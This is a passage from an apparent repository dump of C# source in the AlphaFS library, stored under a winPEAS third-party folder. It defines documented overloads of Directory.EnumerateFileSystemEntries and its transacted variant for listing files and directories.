name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, string searchPattern, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, searchOption, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, null, options,  null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, null, options,  null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, null, options,  null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, null, options,  null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, null, options,  filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, null, options,  filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, null, options,  filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, null, options,  filters, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileSystemEntriesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, Path.WildcardStarMatchAll, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, searchOption, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, Path.WildcardStarMatchAll, null, options,  null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, Path.WildcardStarMatchAll, null, options,  null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref 